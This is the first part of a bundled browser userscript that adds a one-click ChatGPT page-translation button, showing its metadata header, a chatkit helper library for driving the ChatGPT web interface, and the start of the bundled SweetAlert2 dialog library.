ChatGPT 页面翻译按钮

🍓 让 ChatGPT 一键翻译您正在阅读的网页

当前为 2023-07-25 提交的版本,查看 最新版本

  1. // ==UserScript==
  2. // @name chatgpt-page-translate-button
  3. // @description 🍓 let ChatGPT translate the web page you are reading in one click
  4. // @author mefengl
  5. // @version 0.8.0
  6. // @namespace https://github.com/mefengl
  7. // @require https://cdn.jsdelivr.net/npm/@mozilla/readability@0.4.3/Readability.min.js
  8. // @icon https://www.google.com/s2/favicons?sz=64&domain=openai.com
  9. // @license MIT
  10. // @match *://*/*
  11. // @grant GM_setValue
  12. // @grant GM_getValue
  13. // @grant GM_registerMenuCommand
  14. // @grant GM_unregisterMenuCommand
  15. // @grant GM_addValueChangeListener
  16.  
  17. // @name:en ChatGPT Page Translate Button
  18. // @description:en 🍓 let ChatGPT translate the web page you are reading in one click
  19. // @name:zh-CN ChatGPT 页面翻译按钮
  20. // @description:zh-CN 🍓 让 ChatGPT 一键翻译您正在阅读的网页
  21. // @name:es Botón de traducción de página de ChatGPT
  22. // @description:es 🍓 permite que ChatGPT traduzca la página web que estás leyendo con un solo clic
  23. // @name:hi ChatGPT पृष्ठ अनुवाद बटन
  24. // @description:hi 🍓 ChatGPT को वेबपेज जो आप पढ़ रहे हैं को एक क्लिक में अनुवाद करने दें
  25. // @name:ar زر ترجمة الصفحة لـ ChatGPT
  26. // @description:ar 🍓 دع ChatGPT يترجم صفحة الويب التي تقرأها بنقرة واحدة
  27. // @name:pt Botão de tradução de página do ChatGPT
  28. // @description:pt 🍓 permita que o ChatGPT traduza a página da web que você está lendo com um clique
  29. // @name:ru Кнопка перевода страницы ChatGPT
  30. // @description:ru 🍓 позволяет ChatGPT переводить веб-страницу, которую вы читаете, одним щелчком мыши
  31. // @name:ja ChatGPTページ翻訳ボタン
  32. // @description:ja 🍓 ChatGPTで読んでいるWebページをワンクリックで翻訳
  33. // @name:de ChatGPT-Seitenübersetzungs-Button
  34. // @description:de 🍓 Lassen Sie ChatGPT die Webseite, die Sie gerade lesen, mit einem Klick übersetzen
  35. // @name:fr Bouton de traduction de page ChatGPT
  36. // @description:fr 🍓 laissez ChatGPT traduire la page Web que vous lisez en un seul clic
  37. // ==/UserScript==
  38. "use strict";
  39. (() => {
  40. var __create = Object.create;
  41. var __defProp = Object.defineProperty;
  42. var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
  43. var __getOwnPropNames = Object.getOwnPropertyNames;
  44. var __getProtoOf = Object.getPrototypeOf;
  45. var __hasOwnProp = Object.prototype.hasOwnProperty;
  46. var __commonJS = (cb, mod) => function __require() {
  47. return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
  48. };
  49. var __copyProps = (to, from, except, desc) => {
  50. if (from && typeof from === "object" || typeof from === "function") {
  51. for (let key of __getOwnPropNames(from))
  52. if (!__hasOwnProp.call(to, key) && key !== except)
  53. __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
  54. }
  55. return to;
  56. };
  57. var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
  58. // If the importer is in node compatibility mode or this is not an ESM
  59. // file that has been converted to a CommonJS file using a Babel-
  60. // compatible transform (i.e. "__esModule" has not been set), then set
  61. // "default" to the CommonJS "module.exports" for node compatibility.
  62. isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
  63. mod
  64. ));
  65. var __async = (__this, __arguments, generator) => {
  66. return new Promise((resolve, reject) => {
  67. var fulfilled = (value) => {
  68. try {
  69. step(generator.next(value));
  70. } catch (e) {
  71. reject(e);
  72. }
  73. };
  74. var rejected = (value) => {
  75. try {
  76. step(generator.throw(value));
  77. } catch (e) {
  78. reject(e);
  79. }
  80. };
  81. var step = (x) => x.done ? resolve(x.value) : Promise.resolve(x.value).then(fulfilled, rejected);
  82. step((generator = generator.apply(__this, __arguments)).next());
  83. });
  84. };
  85.  
  86. // ../../packages/chatkit/dist/chatgpt/index.js
  87. var require_chatgpt = __commonJS({
  88. "../../packages/chatkit/dist/chatgpt/index.js"(exports, module) {
  89. "use strict";
  90. var __defProp2 = Object.defineProperty;
  91. var __getOwnPropDesc2 = Object.getOwnPropertyDescriptor;
  92. var __getOwnPropNames2 = Object.getOwnPropertyNames;
  93. var __hasOwnProp2 = Object.prototype.hasOwnProperty;
  94. var __export = (target, all) => {
  95. for (var name in all)
  96. __defProp2(target, name, { get: all[name], enumerable: true });
  97. };
  98. var __copyProps2 = (to, from, except, desc) => {
  99. if (from && typeof from === "object" || typeof from === "function") {
  100. for (let key of __getOwnPropNames2(from))
  101. if (!__hasOwnProp2.call(to, key) && key !== except)
  102. __defProp2(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc2(from, key)) || desc.enumerable });
  103. }
  104. return to;
  105. };
  106. var __toCommonJS = (mod) => __copyProps2(__defProp2({}, "__esModule", { value: true }), mod);
  107. var chatgpt_exports = {};
  108. __export(chatgpt_exports, {
  109. getContinueGeneratingButton: () => getContinueGeneratingButton,
  110. getConversation: () => getConversation,
  111. getHistoryBlockTitle: () => getHistoryBlockTitle,
  112. getHistoryBlocks: () => getHistoryBlocks,
  113. getHistoryBlocksWithTitle: () => getHistoryBlocksWithTitle,
  114. getLastResponse: () => getLastResponse,
  115. getLastResponseElement: () => getLastResponseElement,
  116. getModelSelectButton: () => getModelSelectButton,
  117. getNav: () => getNav,
  118. getNewModelSelectButtons: () => getNewModelSelectButtons,
  119. getRegenerateButton: () => getRegenerateButton,
  120. getResponseElementHTMLs: () => getResponseElementHTMLs2,
  121. getStopGeneratingButton: () => getStopGeneratingButton,
  122. getSubmitButton: () => getSubmitButton,
  123. getTextarea: () => getTextarea,
  124. getTextareaValue: () => getTextareaValue,
  125. hasNewModelSelectButtons: () => hasNewModelSelectButtons,
  126. isConversationStarted: () => isConversationStarted,
  127. isGenerating: () => isGenerating,
  128. isHorizontalConversation: () => isHorizontalConversation,
  129. onSend: () => onSend,
  130. regenerate: () => regenerate,
  131. send: () => send,
  132. setHorizontalConversation: () => setHorizontalConversation,
  133. setPromptListener: () => setPromptListener2,
  134. setPureConversation: () => setPureConversation,
  135. setTextarea: () => setTextarea,
  136. waitForIdle: () => waitForIdle
  137. });
  138. module.exports = __toCommonJS(chatgpt_exports);
  139. function getNav() {
  140. return document.querySelector("nav");
  141. }
  142. function getHistoryBlocks() {
  143. const nav = getNav();
  144. if (!nav)
  145. return [];
  146. const result = Array.from(nav.querySelectorAll("ol")).map((ol) => ol.parentElement);
  147. return result;
  148. }
  149. function getHistoryBlockTitle(historyBlock) {
  150. var _a;
  151. return ((_a = historyBlock.querySelector("h3")) == null ? void 0 : _a.textContent) || "";
  152. }
  153. function getHistoryBlocksWithTitle() {
  154. const historyBlocks = getHistoryBlocks();
  155. const result = historyBlocks.map((historyBlock) => ({
  156. block: historyBlock,
  157. title: getHistoryBlockTitle(historyBlock)
  158. }));
  159. return result;
  160. }
  161. function getTextarea() {
  162. const form = document.querySelector("form");
  163. if (!form)
  164. return;
  165. const textareas = form.querySelectorAll("textarea");
  166. const result = textareas[0];
  167. return result;
  168. }
  169. function getSubmitButton() {
  170. const textarea = getTextarea();
  171. if (!textarea)
  172. return;
  173. return textarea.nextElementSibling;
  174. }
  175. function getRegenerateButton() {
  176. const form = document.querySelector("form");
  177. if (!form)
  178. return;
  179. const buttons = form.querySelectorAll("button");
  180. const result = Array.from(buttons).find((button) => {
  181. var _a;
  182. return (_a = button.textContent) == null ? void 0 : _a.trim().toLowerCase().includes("regenerate");
  183. });
  184. return result;
  185. }
  186. function getContinueGeneratingButton() {
  187. const form = document.querySelector("form");
  188. if (!form)
  189. return;
  190. const buttons = form.querySelectorAll("button");
  191. const result = Array.from(buttons).find((button) => {
  192. var _a;
  193. return (_a = button.textContent) == null ? void 0 : _a.trim().toLowerCase().includes("continue generating");
  194. });
  195. return result;
  196. }
  197. function getStopGeneratingButton() {
  198. const form = document.querySelector("form");
  199. if (!form)
  200. return;
  201. const buttons = form.querySelectorAll("button");
  202. const result = Array.from(buttons).find((button) => {
  203. var _a;
  204. return (_a = button.textContent) == null ? void 0 : _a.trim().toLowerCase().includes("stop generating");
  205. });
  206. return result;
  207. }
  208. function getResponseElementHTMLs2() {
  209. return Array.from(document.querySelectorAll(".markdown")).map((m) => m.innerHTML);
  210. }
  211. function getLastResponseElement() {
  212. const responseElements = document.querySelectorAll(".group.w-full");
  213. return responseElements[responseElements.length - 1];
  214. }
  215. function getLastResponse() {
  216. const lastResponseElement = getLastResponseElement();
  217. if (!lastResponseElement)
  218. return;
  219. const lastResponse = lastResponseElement.textContent;
  220. return lastResponse;
  221. }
  222. function getTextareaValue() {
  223. var _a;
  224. return ((_a = getTextarea()) == null ? void 0 : _a.value) || "";
  225. }
  226. function setTextarea(message) {
  227. const textarea = getTextarea();
  228. if (!textarea)
  229. return;
  230. textarea.value = message;
  231. textarea.dispatchEvent(new Event("input", { bubbles: true }));
  232. }
  233. function send(message) {
  234. return __async(this, null, function* () {
  235. setTextarea(message);
  236. const textarea = getTextarea();
  237. if (!textarea)
  238. return;
  239. while (textarea.value === message) {
  240. textarea.dispatchEvent(new KeyboardEvent("keydown", { key: "Enter", bubbles: true }));
  241. yield new Promise((resolve) => setTimeout(resolve, 100));
  242. }
  243. });
  244. }
  245. function regenerate() {
  246. const regenerateButton = getRegenerateButton();
  247. if (!regenerateButton)
  248. return;
  249. regenerateButton.click();
  250. }
  251. function onSend(callback) {
  252. const textarea = getTextarea();
  253. if (!textarea)
  254. return;
  255. textarea.addEventListener("keydown", function(event) {
  256. if (event.key === "Enter" && !event.shiftKey) {
  257. callback();
  258. }
  259. });
  260. const sendButton = getSubmitButton();
  261. if (!sendButton)
  262. return;
  263. sendButton.addEventListener("mousedown", callback);
  264. }
  265. function isGenerating() {
  266. var _a, _b;
  267. return ((_b = (_a = getSubmitButton()) == null ? void 0 : _a.firstElementChild) == null ? void 0 : _b.childElementCount) === 3;
  268. }
  269. function waitForIdle() {
  270. return new Promise((resolve) => {
  271. const interval = setInterval(() => {
  272. if (!isGenerating()) {
  273. clearInterval(interval);
  274. resolve();
  275. }
  276. }, 1e3);
  277. });
  278. }
  279. function setPromptListener2(key = "prompt_texts") {
  280. let last_trigger_time = +/* @__PURE__ */ new Date();
  281. if (location.href.includes("chat.openai")) {
  282. GM_addValueChangeListener(key, (name, old_value, new_value) => __async(this, null, function* () {
  283. if (+/* @__PURE__ */ new Date() - last_trigger_time < 500) {
  284. return;
  285. }
  286. last_trigger_time = +/* @__PURE__ */ new Date();
  287. setTimeout(() => __async(this, null, function* () {
  288. var _a, _b;
  289. const prompt_texts = new_value;
  290. const isLong = prompt_texts.length > 60;
  291. if (prompt_texts.length > 0) {
  292. let firstTime = true;
  293. while (prompt_texts.length > 0) {
  294. const waitTime = isLong && !document.hasFocus() ? 30 * 1e3 : 2e3;
  295. if (!firstTime) {
  296. yield new Promise((resolve) => setTimeout(resolve, waitTime));
  297. }
  298. if (!firstTime && isGenerating()) {
  299. continue;
  300. } else if (getContinueGeneratingButton()) {
  301. (_a = getContinueGeneratingButton()) == null ? void 0 : _a.click();
  302. continue;
  303. } else if (getRegenerateButton() && !getTextarea()) {
  304. yield new Promise((resolve) => setTimeout(resolve, 10 * 1e3));
  305. (_b = getRegenerateButton()) == null ? void 0 : _b.click();
  306. continue;
  307. }
  308. firstTime = false;
  309. yield send(prompt_texts.shift() || "");
  310. }
  311. }
  312. }), 0);
  313. GM_setValue(key, []);
  314. }));
  315. }
  316. }
  317. function getConversation() {
  318. var _a, _b;
  319. return (_b = (_a = document.querySelector('div[class^="react-scroll-to-bottom"]')) == null ? void 0 : _a.firstChild) == null ? void 0 : _b.firstChild;
  320. }
  321. function getModelSelectButton() {
  322. const conversation = getConversation();
  323. if (!conversation)
  324. return;
  325. return Array.from(conversation.querySelectorAll("button")).find((button) => {
  326. var _a;
  327. return (_a = button.textContent) == null ? void 0 : _a.trim().toLowerCase().includes("model");
  328. });
  329. }
  330. function getNewModelSelectButtons() {
  331. return Array.from(document.querySelectorAll("[class^='group/button']"));
  332. }
  333. function hasNewModelSelectButtons() {
  334. return getNewModelSelectButtons().length > 0;
  335. }
  336. function isConversationStarted() {
  337. return !getModelSelectButton();
  338. }
  339. function setPureConversation() {
  340. const conversation = getConversation();
  341. if (!conversation)
  342. return;
  343. const firstChild = conversation.firstChild;
  344. if (!firstChild)
  345. return;
  346. const newDiv = document.createElement("div");
  347. conversation.insertBefore(newDiv, firstChild.nextSibling);
  348. }
  349. function isHorizontalConversation() {
  350. const conversation = getConversation();
  351. if (!conversation)
  352. return true;
  353. if (!isConversationStarted())
  354. return true;
  355. return conversation.classList.contains("grid");
  356. }
  357. function setHorizontalConversation() {
  358. if (isHorizontalConversation())
  359. return;
  360. setPureConversation();
  361. const conversation = getConversation();
  362. if (!conversation)
  363. return;
  364. conversation.classList.remove("flex", "flex-col", "items-center");
  365. conversation.classList.add("grid", "grid-cols-2", "place-items-center");
  366. }
  367. }
  368. });
  369.  
  370. // ../../packages/chatkit/chatgpt.js
  371. var require_chatgpt2 = __commonJS({
  372. "../../packages/chatkit/chatgpt.js"(exports, module) {
  373. module.exports = require_chatgpt();
  374. }
  375. });
  376.  
  377. // ../../node_modules/.pnpm/sweetalert2@11.7.18/node_modules/sweetalert2/dist/sweetalert2.all.js
  378. var require_sweetalert2_all = __commonJS({
  379. "../../node_modules/.pnpm/sweetalert2@11.7.18/node_modules/sweetalert2/dist/sweetalert2.all.js"(exports, module) {
  380. (function(global, factory) {
  381. typeof exports === "object" && typeof module !== "undefined" ? module.exports = factory() : typeof define === "function" && define.amd ? define(factory) : (global = typeof globalThis !== "undefined" ? globalThis : global || self, global.Sweetalert2 = factory());
  382. })(exports, function() {
  383. "use strict";
  384. const RESTORE_FOCUS_TIMEOUT = 100;
  385. const globalState = {};
  386. const focusPreviousActiveElement = () => {
  387. if (globalState.previousActiveElement instanceof HTMLElement) {
  388. globalState.previousActiveElement.focus();
  389. globalState.previousActiveElement = null;
  390. } else if (document.body) {
  391. document.body.focus();
  392. }
  393. };
  394. const restoreActiveElement = (returnFocus) => {
  395. return new Promise((resolve) => {
  396. if (!returnFocus) {
  397. return resolve();
  398. }
  399. const x = window.scrollX;
  400. const y = window.scrollY;
  401. globalState.restoreFocusTimeout = setTimeout(() => {
  402. focusPreviousActiveElement();
  403. resolve();
  404. }, RESTORE_FOCUS_TIMEOUT);
  405. window.scrollTo(x, y);
  406. });
  407. };
  408. var privateProps = {
  409. promise: /* @__PURE__ */ new WeakMap(),
  410. innerParams: /* @__PURE__ */ new WeakMap(),
  411. domCache: /* @__PURE__ */ new WeakMap()
  412. };
  413. const swalPrefix = "swal2-";
  414. const classNames = ["container", "shown", "height-auto", "iosfix", "popup", "modal", "no-backdrop", "no-transition", "toast", "toast-shown", "show", "hide", "close", "title", "html-container", "actions", "confirm", "deny", "cancel", "default-outline", "footer", "icon", "icon-content", "image", "input", "file", "range", "select", "radio", "checkbox", "label", "textarea", "inputerror", "input-label", "validation-message", "progress-steps", "active-progress-step", "progress-step", "progress-step-line", "loader", "loading", "styled", "top", "top-start", "top-end", "top-left", "top-right", "center", "center-start", "center-end", "center-left", "center-right", "bottom", "bottom-start", "bottom-end", "bottom-left", "bottom-right", "grow-row", "grow-column", "grow-fullscreen", "rtl", "timer-progress-bar", "timer-progress-bar-container", "scrollbar-measure", "icon-success", "icon-warning", "icon-info", "icon-question", "icon-error"];
  415. const swalClasses = classNames.reduce(
  416. (acc, className) => {
  417. acc[className] = swalPrefix + className;
  418. return acc;
  419. },
  420. /** @type {SwalClasses} */
  421. {}
  422. );
  423. const icons = ["success", "warning", "info", "question", "error"];
  424. const iconTypes = icons.reduce(
  425. (acc, icon) => {
  426. acc[icon] = swalPrefix + icon;
  427. return acc;
  428. },
  429. /** @type {SwalIcons} */
  430. {}
  431. );
  432. const consolePrefix = "SweetAlert2:";
  433. const capitalizeFirstLetter = (str) => str.charAt(0).toUpperCase() + str.slice(1);
  434. const warn = (message) => {
  435. console.warn(`${consolePrefix} ${typeof message === "object" ? message.join(" ") : message}`);
  436. };
  437. const error = (message) => {
  438. console.error(`${consolePrefix} ${message}`);
  439. };
  440. const previousWarnOnceMessages = [];
  441. const warnOnce = (message) => {
  442. if (!previousWarnOnceMessages.includes(message)) {
  443. previousWarnOnceMessages.push(message);
  444. warn(message);
  445. }
  446. };
  447. const warnAboutDeprecation = (deprecatedParam, useInstead) => {
  448. warnOnce(`"${deprecatedParam}" is deprecated and will be removed in the next major release. Please use "${useInstead}" instead.`);
  449. };
  450. const callIfFunction = (arg) => typeof arg === "function" ? arg() : arg;
  451. const hasToPromiseFn = (arg) => arg && typeof arg.toPromise === "function";
  452. const asPromise = (arg) => hasToPromiseFn(arg) ? arg.toPromise() : Promise.resolve(arg);
  453. const isPromise = (arg) => arg && Promise.resolve(arg) === arg;
  454. const getContainer = () => document.body.querySelector(`.${swalClasses.container}`);
  455. const elementBySelector = (selectorString) => {
  456. const container = getContainer();
  457. return container ? container.querySelector(selectorString) : null;
  458. };
  459. const elementByClass = (className) => {
  460. return elementBySelector(`.${className}`);
  461. };
  462. const getPopup = () => elementByClass(swalClasses.popup);
  463. const getIcon = () => elementByClass(swalClasses.icon);
  464. const getIconContent = () => elementByClass(swalClasses["icon-content"]);
  465. const getTitle = () => elementByClass(swalClasses.title);
  466. const getHtmlContainer = () => elementByClass(swalClasses["html-container"]);
  467. const getImage = () => elementByClass(swalClasses.image);
  468. const getProgressSteps = () => elementByClass(swalClasses["progress-steps"]);
  469. const getValidationMessage = () => elementByClass(swalClasses["validation-message"]);
  470. const getConfirmButton = () => (
  471. /** @type {HTMLButtonElement} */
  472. elementBySelector(`.${swalClasses.actions} .${swalClasses.confirm}`)
  473. );
  474. const getCancelButton = () => (
  475. /** @type {HTMLButtonElement} */
  476. elementBySelector(`.${swalClasses.actions} .${swalClasses.cancel}`)
  477. );
  478. const getDenyButton = () => (
  479. /** @type {HTMLButtonElement} */
  480. elementBySelector(`.${swalClasses.actions} .${swalClasses.deny}`)
  481. );
  482. const getInputLabel = () => elementByClass(swalClasses["input-label"]);
  483. const getLoader = () => elementBySelector(`.${swalClasses.loader}`);
  484. const getActions = () => elementByClass(swalClasses.actions);
  485. const getFooter = () => elementByClass(swalClasses.footer);
  486. const getTimerProgressBar = () => elementByClass(swalClasses["timer-progress-bar"]);
  487. const getCloseButton = () => elementByClass(swalClasses.close);
  488. const focusable = `
  489. a[href],
  490. area[href],
  491. input:not([disabled]),
  492. select:not([disabled]),
  493. textarea:not([disabled]),
  494. button:not([disabled]),
  495. iframe,
  496. object,
  497. embed,
  498. [tabindex="0"],
  499. [contenteditable],
  500. audio[controls],
  501. video[controls],
  502. summary
  503. `;
  504. const getFocusableElements = () => {
  505. const popup = getPopup();
  506. if (!popup) {
  507. return [];
  508. }
  509. const focusableElementsWithTabindex = popup.querySelectorAll('[tabindex]:not([tabindex="-1"]):not([tabindex="0"])');
  510. const focusableElementsWithTabindexSorted = Array.from(focusableElementsWithTabindex).sort((a, b) => {
  511. const tabindexA = parseInt(a.getAttribute("tabindex") || "0");
  512. const tabindexB = parseInt(b.getAttribute("tabindex") || "0");
  513. if (tabindexA > tabindexB) {
  514. return 1;
  515. } else if (tabindexA < tabindexB) {
  516. return -1;
  517. }
  518. return 0;
  519. });
  520. const otherFocusableElements = popup.querySelectorAll(focusable);
  521. const otherFocusableElementsFiltered = Array.from(otherFocusableElements).filter((el) => el.getAttribute("tabindex") !== "-1");
  522. return [...new Set(focusableElementsWithTabindexSorted.concat(otherFocusableElementsFiltered))].filter((el) => isVisible$1(el));
  523. };
  524. const isModal = () => {
  525. return hasClass(document.body, swalClasses.shown) && !hasClass(document.body, swalClasses["toast-shown"]) && !hasClass(document.body, swalClasses["no-backdrop"]);
  526. };
  527. const isToast = () => {
  528. const popup = getPopup();
  529. if (!popup) {
  530. return false;
  531. }
  532. return hasClass(popup, swalClasses.toast);
  533. };
  534. const isLoading = () => {
  535. const popup = getPopup();
  536. if (!popup) {
  537. return false;
  538. }
  539. return popup.hasAttribute("data-loading");
  540. };
  541. const setInnerHtml = (elem, html) => {
  542. elem.textContent = "";
  543. if (html) {
  544. const parser = new DOMParser();
  545. const parsed = parser.parseFromString(html, `text/html`);
  546. Array.from(parsed.querySelector("head").childNodes).forEach((child) => {
  547. elem.appendChild(child);
  548. });
  549. Array.from(parsed.querySelector("body").childNodes).forEach((child) => {
  550. if (child instanceof HTMLVideoElement || child instanceof HTMLAudioElement) {
  551. elem.appendChild(child.cloneNode(true));
  552. } else {
  553. elem.appendChild(child);
  554. }
  555. });
  556. }
  557. };
  558. const hasClass = (elem, className) => {
  559. if (!className) {
  560. return false;
  561. }
  562. const classList = className.split(/\s+/);
  563. for (let i = 0; i < classList.length; i++) {
  564. if (!elem.classList.contains(classList[i])) {
  565. return false;
  566. }
  567. }
  568. return true;
  569. };
  570. const removeCustomClasses = (elem, params) => {
  571. Array.from(elem.classList).forEach((className) => {
  572. if (!Object.values(swalClasses).includes(className) && !Object.values(iconTypes).includes(className) && !Object.values(params.showClass).includes(className)) {
  573. elem.classList.remove(className);
  574. }
  575. });
  576. };
  577. const applyCustomClass = (elem, params, className) => {
  578. removeCustomClasses(elem, params);
  579. if (params.customClass && params.customClass[className]) {
  580. if (typeof params.customClass[className] !== "string" && !params.customClass[className].forEach) {
  581. warn(`Invalid type of customClass.${className}! Expected string or iterable object, got "${typeof params.customClass[className]}"`);
  582. return;
  583. }
  584. addClass(elem, params.customClass[className]);
  585. }
  586. };
  587. const getInput$1 = (popup, inputClass) => {
  588. if (!inputClass) {
  589. return null;
  590. }
  591. switch (inputClass) {
  592. case "select":
  593. case "textarea":
  594. case "file":
  595. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses[inputClass]}`);
  596. case "checkbox":
  597. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.checkbox} input`);
  598. case "radio":
  599. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.radio} input:checked`) || popup.querySelector(`.${swalClasses.popup} > .${swalClasses.radio} input:first-child`);
  600. case "range":
  601. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.range} input`);
  602. default:
  603. return popup.querySelector(`.${swalClasses.popup} > .${swalClasses.input}`);
  604. }
  605. };
  606. const focusInput = (input) => {
  607. input.focus();
  608. if (input.type !== "file") {
  609. const val = input.value;
  610. input.value = "";
  611. input.value = val;
  612. }
  613. };
  614. const toggleClass = (target, classList, condition) => {
  615. if (!target || !classList) {
  616. return;
  617. }
  618. if (typeof classList === "string") {
  619. classList = classList.split(/\s+/).filter(Boolean);
  620. }
  621. classList.forEach((className) => {
  622. if (Array.isArray(target)) {
  623. target.forEach((elem) => {
  624. condition ? elem.classList.add(className) : elem.classList.remove(className);
  625. });
  626. } else {
  627. condition ? target.classList.add(className) : target.classList.remove(className);
  628. }
  629. });
  630. };
  631. const addClass = (target, classList) => {
  632. toggleClass(target, classList, true);
  633. };
  634. const removeClass = (target, classList) => {
  635. toggleClass(target, classList, false);
  636. };
  637. const getDirectChildByClass = (elem, className) => {
  638. const children = Array.from(elem.children);
  639. for (let i = 0; i < children.length; i++) {
  640. const child = children[i];
  641. if (child instanceof HTMLElement && hasClass(child, className)) {
  642. return child;
  643. }
  644. }
  645. };
  646. const applyNumericalStyle = (elem, property, value) => {
  647. if (value === `${parseInt(value)}`) {
  648. value = parseInt(value);
  649. }
  650. if (value || parseInt(value) === 0) {
  651. elem.style[property] = typeof value === "number" ? `${value}px` : value;
  652. } else {
  653. elem.style.removeProperty(property);
  654. }
  655. };
  656. const show = function(elem) {
  657. let display = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : "flex";
  658. elem && (elem.style.display = display);
  659. };
  660. const hide = (elem) => {
  661. elem && (elem.style.display = "none");
  662. };
  663. const setStyle = (parent, selector, property, value) => {
  664. const el = parent.querySelector(selector);
  665. if (el) {
  666. el.style[property] = value;
  667. }
  668. };
  669. const toggle = function(elem, condition) {
  670. let display = arguments.length > 2 && arguments[2] !== void 0 ? arguments[2] : "flex";
  671. condition ? show(elem, display) : hide(elem);
  672. };
  673. const isVisible$1 = (elem) => !!(elem && (elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length));
  674. const allButtonsAreHidden = () => !isVisible$1(getConfirmButton()) && !isVisible$1(getDenyButton()) && !isVisible$1(getCancelButton());
  675. const isScrollable = (elem) => !!(elem.scrollHeight > elem.clientHeight);
  676. const hasCssAnimation = (elem) => {
  677. const style = window.getComputedStyle(elem);
  678. const animDuration = parseFloat(style.getPropertyValue("animation-duration") || "0");
  679. const transDuration = parseFloat(style.getPropertyValue("transition-duration") || "0");
  680. return animDuration > 0 || transDuration > 0;
  681. };
  682. const animateTimerProgressBar = function(timer) {
  683. let reset = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : false;
  684. const timerProgressBar = getTimerProgressBar();
  685. if (isVisible$1(timerProgressBar)) {
  686. if (reset) {
  687. timerProgressBar.style.transition = "none";
  688. timerProgressBar.style.width = "100%";
  689. }
  690. setTimeout(() => {
  691. timerProgressBar.style.transition = `width ${timer / 1e3}s linear`;
  692. timerProgressBar.style.width = "0%";
  693. }, 10);
  694. }
  695. };
  696. const stopTimerProgressBar = () => {
  697. const timerProgressBar = getTimerProgressBar();
  698. const timerProgressBarWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
  699. timerProgressBar.style.removeProperty("transition");
  700. timerProgressBar.style.width = "100%";
  701. const timerProgressBarFullWidth = parseInt(window.getComputedStyle(timerProgressBar).width);
  702. const timerProgressBarPercent = timerProgressBarWidth / timerProgressBarFullWidth * 100;
  703. timerProgressBar.style.width = `${timerProgressBarPercent}%`;
  704. };
  705. const isNodeEnv = () => typeof window === "undefined" || typeof document === "undefined";
  706. const sweetHTML = `
  707. <div aria-labelledby="${swalClasses.title}" aria-describedby="${swalClasses["html-container"]}" class="${swalClasses.popup}" tabindex="-1">
  708. <button type="button" class="${swalClasses.close}"></button>
  709. <ul class="${swalClasses["progress-steps"]}"></ul>
  710. <div class="${swalClasses.icon}"></div>
  711. <img class="${swalClasses.image}" />
  712. <h2 class="${swalClasses.title}" id="${swalClasses.title}"></h2>
  713. <div class="${swalClasses["html-container"]}" id="${swalClasses["html-container"]}"></div>
  714. <input class="${swalClasses.input}" id="${swalClasses.input}" />
  715. <input type="file" class="${swalClasses.file}" />
  716. <div class="${swalClasses.range}">
  717. <input type="range" />
  718. <output></output>
  719. </div>
  720. <select class="${swalClasses.select}" id="${swalClasses.select}"></select>
  721. <div class="${swalClasses.radio}"></div>
  722. <label class="${swalClasses.checkbox}">
  723. <input type="checkbox" id="${swalClasses.checkbox}" />
  724. <span class="${swalClasses.label}"></span>
  725. </label>
  726. <textarea class="${swalClasses.textarea}" id="${swalClasses.textarea}"></textarea>
  727. <div class="${swalClasses["validation-message"]}" id="${swalClasses["validation-message"]}"></div>
  728. <div class="${swalClasses.actions}">
  729. <div class="${swalClasses.loader}"></div>
  730. <button type="button" class="${swalClasses.confirm}"></button>
  731. <button type="button" class="${swalClasses.deny}"></button>
  732. <button type="button" class="${swalClasses.cancel}"></button>
  733. </div>
  734. <div class="${swalClasses.footer}"></div>
  735. <div class="${swalClasses["timer-progress-bar-container"]}">
  736. <div class="${swalClasses["timer-progress-bar"]}"></div>
  737. </div>
  738. </div>
  739. `.replace(/(^|\n)\s*/g, "");
  740. const resetOldContainer = () => {
  741. const oldContainer = getContainer();
  742. if (!oldContainer) {
  743. return false;
  744. }
  745. oldContainer.remove();
  746. removeClass([document.documentElement, document.body], [swalClasses["no-backdrop"], swalClasses["toast-shown"], swalClasses["has-column"]]);
  747. return true;
  748. };
  749. const resetValidationMessage$1 = () => {
  750. globalState.currentInstance.resetValidationMessage();
  751. };
  752. const addInputChangeListeners = () => {
  753. const popup = getPopup();
  754. const input = getDirectChildByClass(popup, swalClasses.input);
  755. const file = getDirectChildByClass(popup, swalClasses.file);
  756. const range = popup.querySelector(`.${swalClasses.range} input`);
  757. const rangeOutput = popup.querySelector(`.${swalClasses.range} output`);
  758. const select = getDirectChildByClass(popup, swalClasses.select);
  759. const checkbox = popup.querySelector(`.${swalClasses.checkbox} input`);
  760. const textarea = getDirectChildByClass(popup, swalClasses.textarea);
  761. input.oninput = resetValidationMessage$1;
  762. file.onchange = resetValidationMessage$1;
  763. select.onchange = resetValidationMessage$1;
  764. checkbox.onchange = resetValidationMessage$1;
  765. textarea.oninput = resetValidationMessage$1;
  766. range.oninput = () => {
  767. resetValidationMessage$1();
  768. rangeOutput.value = range.value;
  769. };
  770. range.onchange = () => {
  771. resetValidationMessage$1();
  772. rangeOutput.value = range.value;
  773. };
  774. };
  775. const getTarget = (target) => typeof target === "string" ? document.querySelector(target) : target;
  776. const setupAccessibility = (params) => {
  777. const popup = getPopup();
  778. popup.setAttribute("role", params.toast ? "alert" : "dialog");
  779. popup.setAttribute("aria-live", params.toast ? "polite" : "assertive");
  780. if (!params.toast) {
  781. popup.setAttribute("aria-modal", "true");
  782. }
  783. };
  784. const setupRTL = (targetElement) => {
  785. if (window.getComputedStyle(targetElement).direction === "rtl") {
  786. addClass(getContainer(), swalClasses.rtl);
  787. }
  788. };
  789. const init = (params) => {
  790. const oldContainerExisted = resetOldContainer();
  791. if (isNodeEnv()) {
  792. error("SweetAlert2 requires document to initialize");
  793. return;
  794. }
  795. const container = document.createElement("div");
  796. container.className = swalClasses.container;
  797. if (oldContainerExisted) {
  798. addClass(container, swalClasses["no-transition"]);
  799. }
